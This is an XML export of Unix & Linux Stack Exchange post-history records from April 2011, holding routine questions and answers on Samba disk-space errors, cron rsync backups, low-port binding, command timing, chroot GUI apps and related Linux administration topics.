  <row Id="25930" PostHistoryTypeId="5" PostId="10729" RevisionGUID="87bdfc76-d4f1-4540-be5b-45078eec77dc" CreationDate="2011-04-06T11:51:34.183" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Can a bash script be hooked to a file?](http://unix.stackexchange.com/questions/5515/can-a-bash-script-be-hooked-to-a-file)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;On Mac OS X, there’s a handy daemon called [launchd](http://en.wikipedia.org/wiki/Launchd) which (amongst other things) allows you to have scripts run when files or directories change (via the `WatchPaths` and `QueueDirectories` plist file options).&#xD;&#xA;&#xD;&#xA;Is there a (preferably Debian) Linux program/package that includes this functionality?" />
  <row Id="25931" PostHistoryTypeId="10" PostId="10729" RevisionGUID="c91c539b-cfa5-4317-97de-3522ec3a7675" CreationDate="2011-04-06T11:51:33.807" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:250,&quot;DisplayName&quot;:&quot;phunehehe&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25932" PostHistoryTypeId="18" PostId="10729" RevisionGUID="2d4b2aef-c82f-42b0-bdca-49762efff5f6" CreationDate="2011-04-06T11:51:47.753" UserId="73" Comment="to http://unix.stackexchange.com/questions/5515/can-a-bash-script-be-hooked-to-a-file" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25933" PostHistoryTypeId="18" PostId="10730" RevisionGUID="2d4b2aef-c82f-42b0-bdca-49762efff5f6" CreationDate="2011-04-06T11:51:47.753" UserId="73" Comment="from http://unix.stackexchange.com/questions/10729/how-can-i-make-scripts-run-when-a-file-directory-changes-in-linux-like-mac-os-x" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25934" PostHistoryTypeId="18" PostId="5515" RevisionGUID="2d4b2aef-c82f-42b0-bdca-49762efff5f6" CreationDate="2011-04-06T11:51:47.753" UserId="73" Comment="from http://unix.stackexchange.com/questions/10729/how-can-i-make-scripts-run-when-a-file-directory-changes-in-linux-like-mac-os-x" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25935" PostHistoryTypeId="14" PostId="10729" RevisionGUID="bce4c54d-bd61-44c4-92e5-d599a3710edb" CreationDate="2011-04-06T11:51:48.020" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25936" PostHistoryTypeId="25" PostId="10735" RevisionGUID="56370e7e-c97e-4032-83f5-6fce231cb5c8" CreationDate="2011-04-06T12:09:01.633" Comment="http://twitter.com/#!/StackUnix/status/55602911585120259" />
  <row Id="25937" PostHistoryTypeId="2" PostId="10736" RevisionGUID="fe3d8e60-358d-4370-bc65-c221da26e6dc" CreationDate="2011-04-06T12:10:36.620" UserId="6216" Text="After having some problems with my NAS, I switched to Debian/Lenny.  I've managed to install and configure most of the software I need, but I've hit a brick wall with Samba.  I can access the shares and read all the files, but if I try and send anything across it tells me there's not enough space.&#xD;&#xA;&#xD;&#xA;I'm using Windows, so I opened a command prompt and ran &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&gt; dir \\MyNAS.home\Public  &#xD;&#xA;1 File(s)     44,814,336 bytes  &#xD;&#xA;12 Dir(s)  507,998,060,544 bytes free&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The free space reported is correct (~500GB), so what's the problem?  The following is my smb.conf:  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[global]&#xD;&#xA;  workgroup = MEDUS&#xD;&#xA;  realm = WORKGROUP&#xD;&#xA;  netbios name = MyNAS&#xD;&#xA;  map to guest = bad user&#xD;&#xA;  server string = My Book Network Storage&#xD;&#xA;  load printers = no&#xD;&#xA;  printing = bsd&#xD;&#xA;  printcap name = /dev/null&#xD;&#xA;  disable spoolss = yes&#xD;&#xA;  log file = /var/log/samba/log.smbd&#xD;&#xA;  max log size = 50&#xD;&#xA;  dead time = 15&#xD;&#xA;  security = share&#xD;&#xA;  auth methods = guest, sam_ignoredomain, winbind:ntdomain&#xD;&#xA;  encrypt passwords = yes&#xD;&#xA;  passdb backend = smbpasswd:/opt/etc/samba/smbpasswd  &#xD;&#xA;  create mask = 0664&#xD;&#xA;  directory mask = 0775&#xD;&#xA;  local master = no&#xD;&#xA;  domain master = no&#xD;&#xA;  preferred master = no&#xD;&#xA;  socket options = TCP_NODELAY SO_RCVBUF=65536 SO_SNDBUF=65536&#xD;&#xA;  min receivefile size = 128k&#xD;&#xA;  use sendfile = yes&#xD;&#xA;  dns proxy = no&#xD;&#xA;  idmap uid = 10000-65000&#xD;&#xA;  idmap gid = 10000-65000&#xD;&#xA;  dont descend = /proc,/dev,/etc&#xD;&#xA;  admin users =&#xD;&#xA;  null passwords = yes&#xD;&#xA;  guest account = nobody&#xD;&#xA;  unix extensions = no &#xD;&#xA;&#xD;&#xA;[Public]&#xD;&#xA;  path=/shares/internal/PUBLIC&#xD;&#xA;  guest ok = yes&#xD;&#xA;  read only = no&#xD;&#xA;  dfree cache time = 10&#xD;&#xA;  dfree command = /opt/etc/samba/dfree&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The `dfree command` parameters I added myself, in an attempt to fix the problem (which didn't work).  However, I suspect that the NAS is reporting the correct disk space anyway, as evident from the results of the command I used above.&#xD;&#xA;&#xD;&#xA;I've also tried playing around with the `block size` command, to no avail.  I *was* able to create an empty text file on the share, and I repeatedly edited and saved the file &amp;mdash; it stopped at around 130 bytes.&#xD;&#xA;&#xD;&#xA;Does anyone have any idea what the problem might be?&#xD;&#xA;" />
  <row Id="25938" PostHistoryTypeId="1" PostId="10736" RevisionGUID="fe3d8e60-358d-4370-bc65-c221da26e6dc" CreationDate="2011-04-06T12:10:36.620" UserId="6216" Text="Samba reporting not enough free space" />
  <row Id="25939" PostHistoryTypeId="3" PostId="10736" RevisionGUID="fe3d8e60-358d-4370-bc65-c221da26e6dc" CreationDate="2011-04-06T12:10:36.620" UserId="6216" Text="énetworkingàésambaàédisköusageà" />
  <row Id="25940" PostHistoryTypeId="2" PostId="10737" RevisionGUID="03419079-1abf-4bb3-b885-44d97456228f" CreationDate="2011-04-06T12:13:07.743" UserId="2597" Text="`setcap 'cap_net_bind_service=+ep' /path/to/program`&#xD;&#xA;&#xD;&#xA;this will work for specific processes. But to allow a particular user to bind to ports below 1024 you will have to add him to sudoers. &#xD;&#xA;&#xD;&#xA;Have a look at this [discussion][1] for more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/413807/is-there-a-way-for-non-root-processes-to-bind-to-privileged-ports-1024-on-li" />
  <row Id="25941" PostHistoryTypeId="2" PostId="10738" RevisionGUID="d98fe5ae-a6c1-4086-9087-af3a546fd3bb" CreationDate="2011-04-06T12:13:13.960" UserId="36" Text="You could use [netcat or xinetd][1] or iptables port forwarding, or use apache as a front end proxy and run the process on a non-privileged port.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://heronforge.net/redhat/node11.html" />
  <row Id="25942" PostHistoryTypeId="2" PostId="10739" RevisionGUID="e472a381-a4c9-43d7-9e16-8219b8f67b9b" CreationDate="2011-04-06T12:20:35.770" UserId="2597" Text="`/proc/partitions` has the data that you are looking for. This is where fdisk is going to get its data from.&#xD;&#xA;&#xD;&#xA;For example in my system&#xD;&#xA;&#xD;&#xA;    major minor  #blocks  name&#xD;&#xA;       8     0  976762584 sda&#xD;&#xA;       8     1    8385898 sda1&#xD;&#xA;       8     2  968374102 sda2&#xD;&#xA;       8    16  976762584 sdb&#xD;&#xA;       8    17    8385898 sdb1&#xD;&#xA;       8    18  968374102 sdb2&#xD;&#xA;       8    32  976762584 sdc&#xD;&#xA;       8    33    8385898 sdc1&#xD;&#xA;       8    34  968374102 sdc2&#xD;&#xA;       8    48  976762584 sdd&#xD;&#xA;       8    49    8385898 sdd1&#xD;&#xA;       8    50  968374102 sdd2&#xD;&#xA;       9     2 2905122048 md2" />
  <row Id="25943" PostHistoryTypeId="2" PostId="10740" RevisionGUID="69fdc95e-cad9-4813-92b6-86fa2679dd06" CreationDate="2011-04-06T12:25:35.557" UserId="3447" Text="The defaults in Gnome Terminal are &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; for copy and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt; for paste.  I don't think you can do right click Copy and Paste because Gnome Terminal uses right click to open the context menu.  And as Mikel said, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt; is interpreted differently by the shell." />
  <row Id="25944" PostHistoryTypeId="2" PostId="10741" RevisionGUID="6c22ef32-cfbf-4554-9fd5-7dca294ac1c1" CreationDate="2011-04-06T12:31:39.557" UserId="1925" Text="The short answer is that this is not possible by design.&#xD;&#xA;&#xD;&#xA;The long answer is that in the open source worlds there are lots of people playing with the design and coming up with alternate methods. In general it is widely accepted practice that this should not be possible. The fact that you are trying probably means you have another design fault in your system and should reconsider your whole system architecture in light of *nix best practices and security implications.&#xD;&#xA;&#xD;&#xA;That said, one program for authorizing non-root access to low ports is [authbind][1]. Both [selinux][2] and [grsecurity][3] also provide frameworks for such fine tuned authentications.&#xD;&#xA;&#xD;&#xA;Lastly, if you rust specific users to run specific programs as root and what you really need is just to allow a user to restart apache or something like that, `sudo` is your friend!&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Authbind&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Security-Enhanced_Linux&#xD;&#xA;  [3]: http://grsecurity.net/" />
  <row Id="25945" PostHistoryTypeId="5" PostId="10728" RevisionGUID="af572720-1707-408e-80c1-0eb21fb670ee" CreationDate="2011-04-06T12:37:11.253" UserId="3169" Comment="added 279 characters in body" Text="You can make &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; paste by changing the settings in the Edit-&gt;Keyboard Shortcuts menu.&#xD;&#xA;&#xD;&#xA;But you might not want to do it, because &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; is normally used by your shell as a way of typing characters literally.  For example, &lt;kbd&gt;Tab&lt;/kbd&gt; normally makes the shell try to tab-complete a file name.  If you need to actually type a tab, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; lets you do that.&#xD;&#xA;&#xD;&#xA;You can change it, and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; or &lt;kbd&gt;\&lt;/kbd&gt; might work.  See [bash Commands for Changing Text](http://www.gnu.org/software/bash/manual/html_node/Commands-For-Text.html#Commands-For-Text) for some details.&#xD;&#xA;&#xD;&#xA;I don't think the other things are possible.&#xD;&#xA;&#xD;&#xA;As an alternative, you might like to try &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Ins&lt;/kbd&gt; for copy and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ins&lt;/kbd&gt; for paste.  They work without changing any settings, they work in most applications, and do not conflict with other shortcuts as far as I know." />
  <row Id="25946" PostHistoryTypeId="2" PostId="10742" RevisionGUID="10e5d58b-a4b8-4e21-bbb3-2142b5b5729b" CreationDate="2011-04-06T12:41:38.007" UserId="5666" Text="`blockdev` provides a way to set/get block device attributes. To get the size in bytes:&#xD;&#xA;&#xD;&#xA;    blockdev --getsize64 /dev/sda&#xD;&#xA;&#xD;&#xA;Some info is also available under `/sys`, the size is measured in blocks of 512 bytes.&#xD;&#xA;&#xD;&#xA;For size in KiB&#xD;&#xA;&#xD;&#xA;    echo $[  $(cat /sys/block/sda/size) / 2 ]&#xD;&#xA;&#xD;&#xA;For size in Bytes&#xD;&#xA;&#xD;&#xA;    echo $[  $(cat /sys/block/sda/size) * 512 ]" />
  <row Id="25947" PostHistoryTypeId="2" PostId="10743" RevisionGUID="c7c019df-7772-4513-93c7-8f073c67cc57" CreationDate="2011-04-06T12:43:33.153" UserId="5884" Text="In my case Java app is JDownloader. I prepared chroot environment as explained here:&#xD;&#xA;&#xD;&#xA;  http://www.0x61.com/forum/post5240333.html#p5240333&#xD;&#xA;&#xD;&#xA;and here:&#xD;&#xA;&#xD;&#xA;  http://interreality.org/~reed/java-chroot.html&#xD;&#xA;&#xD;&#xA;and here:&#xD;&#xA;&#xD;&#xA;http://www.elstel.com/openroot/&#xD;&#xA;&#xD;&#xA;So, I have java installed, added group and user, JDownload files copied, but when I try to run it (as regular user under chroot; I run chroot as root, but once I am in chroot, I switch to chroot regular user):&#xD;&#xA;&#xD;&#xA;&gt; java -Xmx512m -jar JDownloader.jar&#xD;&#xA;&#xD;&#xA;I got some positive messages like loading skins by JDownloader&#xD;&#xA;  &#xD;&#xA;&gt; 10 4/6/11 2:15:17 PM - FINER [jd.JDClassLoader(&lt;init&gt;)] -&gt; Look and Feel JAR loaded: /mnt/jd/libs/laf/syntheticaSilverMoon.jar&#xD;&#xA;&#xD;&#xA;but that's end of the story -- app does not show up. No matter if I use chroot to run chroot environment or openroot, the outcome is the same.&#xD;&#xA;&#xD;&#xA;When I run JDownload as chroot-root I got a little more output but at then end exception occurs:&#xD;&#xA;&#xD;&#xA;&gt; 10 4/6/11 2:39:23 PM - FINER [jd.config.DatabaseConnector(&lt;init&gt;)] -&gt; Loading database&#xD;&#xA;&#xD;&#xA;&gt; 10 4/6/11 2:39:23 PM - FINER [jd.config.DatabaseConnector(checkDatabaseHeader)] -&gt; Checking database&#xD;&#xA;&#xD;&#xA;&gt; 10 4/6/11 2:39:23 PM - INFO [jd.Main(main)] -&gt; init Splash&#xD;&#xA;&#xD;&#xA;&gt; ------------------------  Thread: 11  -----------------------&#xD;&#xA;&#xD;&#xA;&gt; 11 4/6/11 2:39:25 PM - INFO [jd.gui.swing.laf.LookAndFeelController(setUIManager)] -&gt; Use Look &amp; Feel: de.javasoft.plaf.synthetica.SyntheticaSimple2DLookAndFeel&#xD;&#xA;&#xD;&#xA;&gt; 11 4/6/11 2:39:25 PM - SEVERE [jd.controlling.JDLogger(exception)] -&gt; SEVERE Exception occurred java.lang.reflect.InvocationTargetException&#xD;&#xA;&#xD;&#xA;&gt; at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)&#xD;&#xA;&gt; at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)&#xD;&#xA;&#xD;&#xA;I have the same Jave installed in chroot and normal system, I can run the same JDownloader in normal system, no problems here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**QUESTION** -- what I am missing here? How to run GUI Java app?&#xD;&#xA;&#xD;&#xA;Thank you in advance." />
  <row Id="25948" PostHistoryTypeId="1" PostId="10743" RevisionGUID="c7c019df-7772-4513-93c7-8f073c67cc57" CreationDate="2011-04-06T12:43:33.153" UserId="5884" Text="What to do to run GUI Java app in chrooted environment?" />
  <row Id="25949" PostHistoryTypeId="3" PostId="10743" RevisionGUID="c7c019df-7772-4513-93c7-8f073c67cc57" CreationDate="2011-04-06T12:43:33.153" UserId="5884" Text="éx11àéguiàéjavaàéchrootà" />
  <row Id="25950" PostHistoryTypeId="5" PostId="10728" RevisionGUID="f663b240-b84f-497f-a73b-58fcfdc175bb" CreationDate="2011-04-06T12:45:49.660" UserId="3169" Comment="added 200 characters in body; added 77 characters in body" Text="You can make &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; paste by changing the settings in the Edit-&gt;Keyboard Shortcuts menu.&#xD;&#xA;&#xD;&#xA;But you might not want to do it, because &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; is normally used by your shell as a way of typing characters literally.  For example, &lt;kbd&gt;Tab&lt;/kbd&gt; normally makes the shell try to tab-complete a file name.  If you need to actually type a tab, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; lets you do that.&#xD;&#xA;&#xD;&#xA;You can tell bash to use something else.  See [bash Commands for Changing Text](http://www.gnu.org/software/bash/manual/html_node/Commands-For-Text.html#Commands-For-Text) for some details.  &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; or &lt;kbd&gt;\&lt;/kbd&gt; might work too.  Or it might just close your terminal.  :-)&#xD;&#xA;&#xD;&#xA;I don't think the other things are possible.&#xD;&#xA;&#xD;&#xA;As an alternative, you might like to try &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Ins&lt;/kbd&gt; for copy and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ins&lt;/kbd&gt; for paste.&#xD;&#xA;&#xD;&#xA;By default, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ins&lt;/kbd&gt; pastes whatever you select with your mouse, even if you don't copy it.&#xD;&#xA;&#xD;&#xA;I change it to do normal clipboard copy via Edit-&gt;Keyboard Shortcuts.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Ins&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ins&lt;/kbd&gt; actually work in most appplications, but I don't think many people know about it." />
  <row Id="25954" PostHistoryTypeId="2" PostId="10745" RevisionGUID="5f1b0265-fc0e-458b-8fb3-8d0a7159ac2a" CreationDate="2011-04-06T13:15:59.460" UserId="1594" Text="(The linux equivalent of TimeThis.exe)&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    timethis wget foo.com&#xD;&#xA;    Receiving foo.com  &#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    wget foo.com took 3 seconds.&#xD;&#xA;" />
  <row Id="25955" PostHistoryTypeId="1" PostId="10745" RevisionGUID="5f1b0265-fc0e-458b-8fb3-8d0a7159ac2a" CreationDate="2011-04-06T13:15:59.460" UserId="1594" Text="How do I time a specific command?" />
  <row Id="25956" PostHistoryTypeId="3" PostId="10745" RevisionGUID="5f1b0265-fc0e-458b-8fb3-8d0a7159ac2a" CreationDate="2011-04-06T13:15:59.460" UserId="1594" Text="éutilitiesàétimeà" />
  <row Id="25957" PostHistoryTypeId="2" PostId="10746" RevisionGUID="24b9c79c-2779-4121-9454-ee1ea446dcf1" CreationDate="2011-04-06T13:21:33.510" UserId="2511" Text="Try just `time` instead of `timethis`.&#xD;&#xA;&#xD;&#xA;Although be aware that there's often a shell builtin version of time _and_ a binary version, which will give different results:&#xD;&#xA;&#xD;&#xA;    $ time wget -q -O /dev/null http://unix.stackexchange.com/&#xD;&#xA;    &#xD;&#xA;    real	0m0.178s&#xD;&#xA;    user	0m0.003s&#xD;&#xA;    sys 	0m0.005s&#xD;&#xA;&#xD;&#xA;vs&#xD;&#xA;&#xD;&#xA;    $ \time wget -q -O /dev/null http://unix.stackexchange.com/&#xD;&#xA;    0.00user 0.00system 0:00.17elapsed 4%CPU (0avgtext+0avgdata 0maxresident)k&#xD;&#xA;    0inputs+0outputs (0major+613minor)pagefaults 0swaps&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25958" PostHistoryTypeId="2" PostId="10747" RevisionGUID="3d9e65fc-5890-48f8-9f3b-1640dbacf566" CreationDate="2011-04-06T13:30:20.810" UserId="5666" Text="By using the executable `time` instead of the shell builtin, you can specify the output format and values. E.g. get the real elapsed time together with the command name and parameters &#xD;&#xA;&#xD;&#xA;    /usr/bin/time --format='%C took %e seconds' sleep 3&#xD;&#xA;    sleep 3 took 3.00 seconds" />
  <row Id="25959" PostHistoryTypeId="2" PostId="10748" RevisionGUID="d71ea025-622a-40af-84c9-54d4e4a19cf7" CreationDate="2011-04-06T13:41:56.653" UserId="5286" Text="I think I'm missing something. I've set up some crontabs to handle rsyncs over ssh in my office to handle some backups, but they don't seem to be running OR logging, for that matter. Am I missing something?&#xD;&#xA;&#xD;&#xA;Here are my crontabs:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;0 2 * * * idealm /usr/bin/local/rsync -avz --rsync-path=/usr/bin/rsync -e ssh /Ideal\ Machinery\ Database/* i@192.168.0.210:~/db_backup &gt;&gt; /home/idealm/Work/cron_log.txt&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;^ from the Mac Mini Server to the SME Server&#xD;&#xA;&#xD;&#xA;&lt;code&gt;0 2 * * * i /usr/bin/rsync -avz --rsync-path=/usr/local/bin/rsync -e ssh /home/e-smith/files/ibays/drive-i/files/Warehouse\ Pics/Converted\ Warehouse\ Pictures/* idealm@192.168.0.194:/ideal_img &gt;&gt; /home/i/cron_log.txt&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;^ from the SME Server to the Mac Mini Server&#xD;&#xA;&#xD;&#xA;&lt;code&gt;0 2 * * * i /usr/bin/rsync -rvz -e ssh /home/e-smith/files/ibays/drive-i/files/Warehouse\ Pics/* fm-backup@[remote server]:/home/fm-backup/img_all/ &gt;&gt; /home/i/cron_log.txt&#xD;&#xA;&#xD;&#xA;0 2 * * * i /usr/bin/rsync -rvz -e ssh ~/db_backup/* fm-backup@[remote server]:~/db_backup/ &gt;&gt; /home/i/cron_log.txt&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;^ From the SME Server to a remote server running Ubuntu 10.10 (where [remote server] is the censored address)&#xD;&#xA;&#xD;&#xA;The thing is, when I run these jobs from bash, everything works perfectly - cron just doesn't seem to be working. Any suggestions?&#xD;&#xA;" />
  <row Id="25960" PostHistoryTypeId="1" PostId="10748" RevisionGUID="d71ea025-622a-40af-84c9-54d4e4a19cf7" CreationDate="2011-04-06T13:41:56.653" UserId="5286" Text="Cron: My crontabs don't seem to be doing anything at all." />
  <row Id="25961" PostHistoryTypeId="3" PostId="10748" RevisionGUID="d71ea025-622a-40af-84c9-54d4e4a19cf7" CreationDate="2011-04-06T13:41:56.653" UserId="5286" Text="ésshàécronàérsyncà" />
  <row Id="25962" PostHistoryTypeId="2" PostId="10749" RevisionGUID="4c7eb0db-33d8-4546-b92f-de961df06053" CreationDate="2011-04-06T13:45:13.827" UserId="2844" Text="Are quotas enabled? Check with:&#xD;&#xA;&#xD;&#xA;    sudo quotacheck -avugm&#xD;&#xA;&#xD;&#xA;Try disabling it:&#xD;&#xA;&#xD;&#xA;    sudo quotaoff -fvpa" />
  <row Id="25963" PostHistoryTypeId="17" PostId="10751" RevisionGUID="88033a29-61aa-4a1b-8390-254d5872b8fa" CreationDate="2011-04-06T14:03:11.553" UserId="-1" Comment="from http://serverfault.com/questions/256354/why-is-debians-root-shell-colorless/256357#256357" Text="" />
  <row Id="25964" PostHistoryTypeId="2" PostId="10751" RevisionGUID="6717274f-fa27-4a2b-b223-dcd9a27a3972" CreationDate="2011-04-06T13:33:37.270" UserDisplayName="ortegaga" Text="Well, the best (IMHO) way to enable it is editing /root/.bashrc and uncomment the following lines:&#xD;&#xA;&#xD;&#xA;&gt; export LS_OPTIONS='--color=auto'&#xD;&#xA;&#xD;&#xA;&gt; eval &quot;`dircolors`&quot;&#xD;&#xA;&#xD;&#xA;&gt; alias ls='ls $LS_OPTIONS'&#xD;&#xA;&#xD;&#xA;If you want to apply the changes:&#xD;&#xA;&#xD;&#xA;&gt; root@hostname# . .bashrc" />
  <row Id="25965" PostHistoryTypeId="2" PostId="10750" RevisionGUID="386b7936-ae29-4d01-b64b-39c47cb63fe5" CreationDate="2011-04-06T13:23:48.437" UserId="2466" Text="Are there any security concerns? What is the best way to enable it?" />
  <row Id="25966" PostHistoryTypeId="1" PostId="10750" RevisionGUID="386b7936-ae29-4d01-b64b-39c47cb63fe5" CreationDate="2011-04-06T13:23:48.437" UserId="2466" Text="Why is debians root shell colorless?" />
  <row Id="25967" PostHistoryTypeId="3" PostId="10750" RevisionGUID="386b7936-ae29-4d01-b64b-39c47cb63fe5" CreationDate="2011-04-06T13:23:48.437" UserId="2466" Text="édebianàéshellàérootà" />
  <row Id="25968" PostHistoryTypeId="17" PostId="10750" RevisionGUID="82d82ada-5797-4f3e-a350-a8edf8a6f1e1" CreationDate="2011-04-06T14:03:11.553" UserId="-1" Comment="from http://serverfault.com/questions/256354/why-is-debians-root-shell-colorless" Text="" />
  <row Id="25971" PostHistoryTypeId="2" PostId="10752" RevisionGUID="4a3e3a54-00a5-46de-af97-7bf3a2b7e598" CreationDate="2011-04-06T14:39:23.057" UserId="1594" Text="Something equivalent to Windows' &quot;cmd prompt here&quot;, that will open a gnome-terminal on a specific folder?" />
  <row Id="25972" PostHistoryTypeId="1" PostId="10752" RevisionGUID="4a3e3a54-00a5-46de-af97-7bf3a2b7e598" CreationDate="2011-04-06T14:39:23.057" UserId="1594" Text="Is there a &quot;Open terminal here&quot; from File Browser?" />
  <row Id="25973" PostHistoryTypeId="3" PostId="10752" RevisionGUID="4a3e3a54-00a5-46de-af97-7bf3a2b7e598" CreationDate="2011-04-06T14:39:23.057" UserId="1594" Text="égnomeàégnomeöterminalàéfileöbrowserà" />
  <row Id="25975" PostHistoryTypeId="2" PostId="10753" RevisionGUID="bb2cfd35-cf43-421f-a2d5-0e87590c99e2" CreationDate="2011-04-06T14:47:58.967" UserId="6216" Text="After going through my smb.conf file and commenting out almost everything, I found that the problem was caused by the configuration setting [`min receivefile size`](http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html#id2553289).&#xD;&#xA;&#xD;&#xA;&gt; This option changes the behavior of smbd(8) when processing SMBwriteX calls. Any incoming SMBwriteX call on a non-signed SMB/CIFS connection greater than this value will not be processed in the normal way but will be passed to any underlying kernel recvfile or splice system call (if there is no such call Samba will emulate in user space). This allows zero-copy writes directly from network socket buffers into the filesystem buffer cache, if available. It may improve performance but user testing is recommended. If set to zero Samba processes SMBwriteX calls in the normal way. To enable POSIX large write support (SMB/CIFS writes up to 16Mb) this option must be nonzero. The maximum value is 128k. Values greater than 128k will be silently set to 128k.&#xD;&#xA;&#xD;&#xA;Commenting out this line in the conf file fixed the issue, I guess this is what happens when you use someone else's recommended config settings.  I'm not sure I fully understand what this setting does, anyway." />
  <row Id="25976" PostHistoryTypeId="2" PostId="10754" RevisionGUID="165e49b0-90cb-4744-adf2-6ca6039864b1" CreationDate="2011-04-06T15:02:37.307" UserId="1170" Text="There is a nautilus (gnome's file manager) extension for that:&#xD;&#xA;&#xD;&#xA;http://packages.debian.org/sid/nautilus-open-terminal&#xD;&#xA;&#xD;&#xA;That is the package for debian. You should look in the repository of your distribution for a similar package.&#xD;&#xA;" />
  <row Id="25977" PostHistoryTypeId="2" PostId="10755" RevisionGUID="7895dbe7-8dcc-465c-a5cf-dcb0056d2dea" CreationDate="2011-04-06T15:05:37.297" UserId="6339" Text="I need to determine in a shell script if a given block device (e.g. `/dev/sda`) is a compact flash disk or a regular hard drive. Google did not help me out for once, and while `udevadm info --query=all --name=sda` gives me lots of information, theres nothing I recognize to mean &quot;I'm definately (not) a flash drive&quot; or &quot;I'm definately (not) a hard drive&quot;.&#xD;&#xA;&#xD;&#xA;Is it possible to distinguish these two types of storage devices?&#xD;&#xA;&#xD;&#xA;I use Ubuntu 10.10." />
  <row Id="25978" PostHistoryTypeId="1" PostId="10755" RevisionGUID="7895dbe7-8dcc-465c-a5cf-dcb0056d2dea" CreationDate="2011-04-06T15:05:37.297" UserId="6339" Text="How to determine if disk is compact flash or standard hard drive" />
  <row Id="25979" PostHistoryTypeId="3" PostId="10755" RevisionGUID="7895dbe7-8dcc-465c-a5cf-dcb0056d2dea" CreationDate="2011-04-06T15:05:37.297" UserId="6339" Text="éshellàéubuntuàéblocködeviceà" />
  <row Id="25980" PostHistoryTypeId="25" PostId="10745" RevisionGUID="ab47698d-39e6-4fe7-b73a-2a031d5bf6de" CreationDate="2011-04-06T15:09:01.943" Comment="http://twitter.com/#!/StackUnix/status/55648210131222528" />
  <row Id="25981" PostHistoryTypeId="2" PostId="10756" RevisionGUID="b38be0d7-dac8-41bc-a5e7-cb1290de3a7f" CreationDate="2011-04-06T15:11:56.660" UserId="3447" Text="I don't think there's anything you need to do specifically for Java apps, but you do have to do something for GUI apps in general.&#xD;&#xA;&#xD;&#xA;I've done this on my home computer, but I'm not at home right now so bear with me.  I have a script that mounts everything into my chroot like `/dev` and `/proc`, but it also copies `~/.X*` as well.  If I remember correctly, in your home folder there are files that start with `.Xauth`, and you copy those into the home folder of your chroot environment.  In my experience these files need to be copied every time that X is restarted.&#xD;&#xA;&#xD;&#xA;What I would do to test this method out was I'd just run a simple X application like `xterm`.  It was just a fast and simple app I could test with.  `xterm` should give you an error message if it can't connect to the X server.&#xD;&#xA;&#xD;&#xA;I happen to have the full X11 package installed into my chroot, but I don't know enough about X to know if chroot'd apps run on a chroot'd X server or on the host X server." />
